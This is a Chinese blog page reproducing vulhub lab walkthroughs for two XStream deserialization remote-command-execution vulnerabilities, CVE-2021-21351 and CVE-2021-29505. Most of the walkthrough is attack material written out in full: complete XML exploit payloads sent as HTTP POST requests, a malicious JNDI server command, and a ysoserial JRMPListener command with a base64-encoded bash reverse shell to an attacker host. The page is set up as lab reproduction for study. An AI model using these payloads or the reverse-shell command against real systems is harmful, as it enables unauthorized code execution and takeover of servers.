IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> vulhub漏洞复现75_XStream -> 正文阅读

[Java知识库]vulhub漏洞复现75_XStream

一、 CVE-2021-21351_XStream 反序列化命令执行漏洞

前言

XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

漏洞详情

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.15 及之前版本黑名单存在缺陷,攻击者可利用`javax.naming.ldap.Rdn$RdnEntry`及`javax.sql.rowset.BaseRowSet`构造JNDI注入,进而执行任意命令。

参考链接:

- https://x-stream.github.io/CVE-2021-21351.html

- https://paper.seebug.org/1543/

- https://www.veracode.com/blog/research/exploiting-jndi-injections-java

- https://github.com/welk1n/JNDI-Injection-Exploit/

漏洞环境

靶场:192.168.4.10_ubuntu

攻击机:192.168.4.29_kali

执行如下命令启动一个Springboot + XStream 1.4.15的环境:

#docker-compose up -d

环境启动后,我们向`http://your-ip:8080`发送一个正常的XML数据包,将会得到预期返回:

?

漏洞复现

由于目标环境Java版本高于8u191,故我们需要借助[这篇文章](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)中给出的方法,使用`org.apache.naming.factory.BeanFactory`加EL表达式注入的方式来执行任意命令。

1. 使用[这个工具](https://github.com/welk1n/JNDI-Injection-Exploit/)启动恶意JNDI服务器:

```

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.1.142

```

?

2. 使用上图中基于SpringBoot利用链的RMI地址作为`<dataSource>`的值,构造POC如下:

```

POST / HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Connection: close

Content-Type: application/xml

Content-Length: 3184

<sorted-set>

??<javax.naming.ldap.Rdn_-RdnEntry>

????<type>ysomap</type>

????<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>

??????<m__DTMXRTreeFrag>

????????<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>

??????????<m__size>-10086</m__size>

??????????<m__mgrDefault>

????????????<__overrideDefaultParser>false</__overrideDefaultParser>

????????????<m__incremental>false</m__incremental>

????????????<m__source__location>false</m__source__location>

????????????<m__dtms>

??????????????<null/>

????????????</m__dtms>

????????????<m__defaultHandler/>

??????????</m__mgrDefault>

??????????<m__shouldStripWS>false</m__shouldStripWS>

??????????<m__indexing>false</m__indexing>

??????????<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>

????????????<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>

??????????????<javax.sql.rowset.BaseRowSet>

????????????????<default>

??????????????????<concurrency>1008</concurrency>

??????????????????<escapeProcessing>true</escapeProcessing>

??????????????????<fetchDir>1000</fetchDir>

??????????????????<fetchSize>0</fetchSize>

??????????????????<isolation>2</isolation>

??????????????????<maxFieldSize>0</maxFieldSize>

??????????????????<maxRows>0</maxRows>

??????????????????<queryTimeout>0</queryTimeout>

??????????????????<readOnly>true</readOnly>

??????????????????<rowSetType>1004</rowSetType>

??????????????????<showDeleted>false</showDeleted>

??????????????????<dataSource>rmi://evil-ip:1099/example</dataSource>

??????????????????<listeners/>

??????????????????<params/>

????????????????</default>

??????????????</javax.sql.rowset.BaseRowSet>

??????????????<com.sun.rowset.JdbcRowSetImpl>

????????????????<default/>

??????????????</com.sun.rowset.JdbcRowSetImpl>

????????????</fPullParserConfig>

????????????<fConfigSetInput>

??????????????<class>com.sun.rowset.JdbcRowSetImpl</class>

??????????????<name>setAutoCommit</name>

??????????????<parameter-types>

????????????????<class>boolean</class>

??????????????</parameter-types>

????????????</fConfigSetInput>

????????????<fConfigParse reference='../fConfigSetInput'/>

????????????<fParseInProgress>false</fParseInProgress>

??????????</m__incrementalSAXSource>

??????????<m__walker>

????????????<nextIsRaw>false</nextIsRaw>

??????????</m__walker>

??????????<m__endDocumentOccured>false</m__endDocumentOccured>

??????????<m__idAttributes/>

??????????<m__textPendingStart>-1</m__textPendingStart>

??????????<m__useSourceLocationProperty>false</m__useSourceLocationProperty>

??????????<m__pastFirstElement>false</m__pastFirstElement>

????????</m__dtm>

????????<m__dtmIdentity>1</m__dtmIdentity>

??????</m__DTMXRTreeFrag>

??????<m__dtmRoot>1</m__dtmRoot>

??????<m__allowRelease>false</m__allowRelease>

????</value>

??</javax.naming.ldap.Rdn_-RdnEntry>

??<javax.naming.ldap.Rdn_-RdnEntry>

????<type>ysomap</type>

????<value class='com.sun.org.apache.xpath.internal.objects.XString'>

??????<m__obj class='string'>test</m__obj>

????</value>

??</javax.naming.ldap.Rdn_-RdnEntry>

</sorted-set>

```

?

特别注意,evil-ip是恶意RMI(非执行后地址,实际为.jar地址,本次在192.168.4.29_kali上执行,则rmi地址为192.168.4.29)服务器的地址。然后,进入目标容器内,可见``touch /tmp/success``已成功执行:

?在实战中,如果目标Java版本较低,POC需要做修改,将其中的`<__overrideDefaultParser>false</__overrideDefaultParser>`改成`<__useServicesMechanism>false</__useServicesMechanism>`即可。

二、 CVE-2021-29505_XStream 反序列化命令执行漏洞

漏洞详情

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用`sun.rmi.registry.RegistryImpl_Stub`构造RMI请求,进而执行任意命令。

参考链接:

- [https://x-stream.github.io/CVE-2021-29505.html][1]

- https://paper.seebug.org/1543/

漏洞环境

执行如下命令启动一个Springboot + XStream 1.4.16的环境:

#docker-compose up -d

环境启动后,我们向`http://your-ip:8080`发送一个正常的XML数据包,将会得到预期返回:

漏洞复现

1.作为攻击者,我们在自己的服务器上使用[ysoserial](https://github.com/frohoff/ysoserial)的JRMPListener在4444端口启动一个恶意的RMI Registry:

```

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 4444 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQuMjkvOTk5OSAwPiYxCg==}|{base64,-d}|{bash,-i}"

```

这个RMI Registry在收到请求后,会返回用CommonsCollections6利用链构造的恶意序列化对象。

2. 然后,我们向目标服务器发送CVE-2021-29505的XML POC:

```

POST / HTTP/1.1

Host: your-ip

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Connection: close

Content-Type: application/xml

Content-Length: 3169

<java.util.PriorityQueue serialization='custom'>

????<unserializable-parents/>

????<java.util.PriorityQueue>

????????<default>

????????????<size>2</size>

????????</default>

????????<int>3</int>

????????<javax.naming.ldap.Rdn_-RdnEntry>

????????????<type>12345</type>

????????????<value class='com.sun.org.apache.xpath.internal.objects.XString'>

????????????????<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>

????????????</value>

????????</javax.naming.ldap.Rdn_-RdnEntry>

????????<javax.naming.ldap.Rdn_-RdnEntry>

????????????<type>12345</type>

????????????<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>

????????????????<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>

????????????????????<parsedMessage>true</parsedMessage>

????????????????????<soapVersion>SOAP_11</soapVersion>

????????????????????<bodyParts/>

????????????????????<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>

????????????????????????<attachmentsInitialized>false</attachmentsInitialized>

????????????????????????<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>

????????????????????????????<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>

????????????????????????????????<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>

????????????????????????????????????<names>

????????????????????????????????????????<string>aa</string>

????????????????????????????????????????<string>aa</string>

????????????????????????????????????</names>

????????????????????????????????????<ctx>

????????????????????????????????????????<environment/>

????????????????????????????????????????<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>

????????????????????????????????????????????<java.rmi.server.RemoteObject>

????????????????????????????????????????????????<string>UnicastRef</string>

????????????????????????????????????????????????<string>evil-ip</string>

????????????????????????????????????????????????<int>1099</int>

????????????????????????????????????????????????<long>0</long>

????????????????????????????????????????????????<int>0</int>

????????????????????????????????????????????????<long>0</long>

????????????????????????????????????????????????<short>0</short>

????????????????????????????????????????????????<boolean>false</boolean>

????????????????????????????????????????????</java.rmi.server.RemoteObject>

????????????????????????????????????????</registry>

????????????????????????????????????????<host>evil-ip</host>

????????????????????????????????????????<port>1099</port>

????????????????????????????????????</ctx>

????????????????????????????????</candidates>

????????????????????????????</aliases>

????????????????????????</nullIter>

????????????????????</sm>

????????????????</message>

????????????</value>

????????</javax.naming.ldap.Rdn_-RdnEntry>

????</java.util.PriorityQueue>

</java.util.PriorityQueue>

```

?

其中,evil-ip是恶意RMI服务器的地址。恶意RMI服务器收到RMI请求,触发

?3.??监听成功反弹shell

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2022-02-14 20:59:25  更:2022-02-14 21:01:54 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 12:54:00-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码